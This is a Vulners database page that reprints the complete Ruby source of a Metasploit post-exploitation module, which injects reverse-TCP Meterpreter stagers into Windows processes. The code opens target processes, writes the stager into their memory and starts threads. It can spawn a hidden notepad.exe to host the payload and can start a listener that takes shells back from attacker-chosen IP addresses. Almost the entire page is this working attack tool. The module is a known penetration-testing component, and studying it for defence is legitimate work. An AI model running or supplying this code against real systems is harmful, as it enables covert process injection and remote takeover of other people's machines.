">
Lucene search
+L

Windows Manage Inject in Memory Multiple Payloads

🗓️ 26 Mar 2011 03:35:59Reported by Carlos Perez <[email protected]>, David Kennedy "ReL1K" <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 39 Views

Windows Manage Inject in Memory Multiple Payloads. Module injects payload into multiple processes and connects to given IP Addresses. Works with given lists of IP Addresses and process PIDs. Optional start of new exploit/multi/handler job on local box

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Manage Inject in Memory Multiple Payloads',
        'Description' => %q{
          This module will inject in to several processes a given
          payload and connecting to a given list of IP Addresses.
          The module works with a given lists of IP Addresses and
          process PIDs if no PID is given it will start a the given
          process in the advanced options and inject the selected
          payload in to the memory of the created module.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Carlos Perez <carlos_perez[at]darkoperator.com>',
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' # added multiple payload support
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter'],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_attach
              stdapi_sys_process_execute
              stdapi_sys_process_memory_allocate
              stdapi_sys_process_memory_write
              stdapi_sys_process_thread_create
            ]
          }
        }
      )
    )

    register_options(
      [
        OptString.new('PAYLOAD', [false, 'Payload to inject in to process memory', 'windows/meterpreter/reverse_tcp']),
        OptInt.new('LPORT', [false, 'Port number for the payload LPORT variable.', 4444]),
        OptString.new('IPLIST', [true, 'List of semicolon separated IP list.', Rex::Socket.source_address('1.2.3.4')]),
        OptString.new('PIDLIST', [false, 'List of semicolon separated PID list.', '']),
        OptBool.new('HANDLER', [false, 'Start new exploit/multi/handler job on local box.', false]),
        OptInt.new('AMOUNT', [false, 'Select the amount of shells you want to spawn.', 1])
      ]
    )

    register_advanced_options(
      [
        OptString.new('PROCESSNAME', [false, 'Description', 'notepad.exe'])
      ]
    )
  end

  # Run Method for when run command is issued
  def run
    unless session.platform == 'windows' && [ARCH_X64, ARCH_X86].include?(session.arch)
      print_error('This module requires native Windows meterpreter functions not compatible with the selected session')
      return
    end
    # Set variables
    multi_ip = nil
    multi_pid = nil

    print_status("Running module against #{sysinfo['Computer']}")

    if datastore['HANDLER']
      create_multi_handler(datastore['PAYLOAD'], datastore['LPORT'])
    end

    multi_ip = datastore['IPLIST'].split(';')
    multi_pid = datastore['PIDLIST'].split(';')

    datastore['AMOUNT'].times do # iterate through number of shells
      multi_ip.zip(multi_pid).each do |a|
        # Check if we have an IP for the session
        payload = create_payload(datastore['PAYLOAD'], a[0], datastore['LPORT'])
        if a[1]
          inject(a[1], payload)
        else
          # if no PID we create a process to host the Meterpreter session
          pid_num = start_proc(datastore['PROCESSNAME'])
          inject(pid_num, payload)
        end
        select(nil, nil, nil, 5)
      end
    end
  end

  # Function for injecting payload in to a given PID
  #-------------------------------------------------------------------------------
  def inject(target_pid, payload_to_inject)
    print_status("Injecting meterpreter into process ID #{target_pid}")
    begin
      host_process = session.sys.process.open(target_pid.to_i, PROCESS_ALL_ACCESS)
      raw = payload_to_inject.generate
      mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

      print_status("Allocated memory at address #{'0x%.8x' % mem}, for #{raw.length} byte stager")
      print_status('Writing the stager into memory...')
      host_process.memory.write(mem, raw)
      host_process.thread.create(mem, 0)
      print_good("Successfully injected Meterpreter in to process: #{target_pid}")
    rescue ::Exception => e
      print_error("Failed to Inject Payload to #{target_pid}!")
      print_error(e.message)
    end
  end

  # Function for Creation of Connection Handler
  #-------------------------------------------------------------------------------
  def create_multi_handler(payload_to_inject, rport, rhost = '0.0.0.0')
    print_status("Starting connection handler at port #{rport} for #{payload_to_inject}")
    mul = client.framework.exploits.create('multi/handler')
    mul.datastore['WORKSPACE'] = session.workspace
    mul.datastore['PAYLOAD'] = payload_to_inject
    mul.datastore['LHOST'] = rhost
    mul.datastore['LPORT'] = rport
    mul.datastore['EXITFUNC'] = 'process'
    mul.datastore['ExitOnSession'] = false

    mul.exploit_simple(
      'Payload' => mul.datastore['PAYLOAD'],
      'RunAsJob' => true
    )
    print_good('exploit/multi/handler started!')
  end

  # Function for Creating the Payload
  #-------------------------------------------------------------------------------
  def create_payload(payload_type, lhost, lport)
    print_status("Creating a reverse meterpreter stager: LHOST=#{lhost} LPORT=#{lport}")
    payload = payload_type
    pay = client.framework.payloads.create(payload)
    pay.datastore['LHOST'] = lhost
    pay.datastore['LPORT'] = lport
    return pay
  end

  # Function starting notepad.exe process
  #-------------------------------------------------------------------------------
  def start_proc(proc_name)
    print_good('Starting Notepad.exe to house Meterpreter Session.')
    proc = client.sys.process.execute(proc_name, nil, { 'Hidden' => true })
    print_good("Process created with pid #{proc.pid}")
    return proc.pid
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
6.9Medium risk
Vulners AI Score6.9
39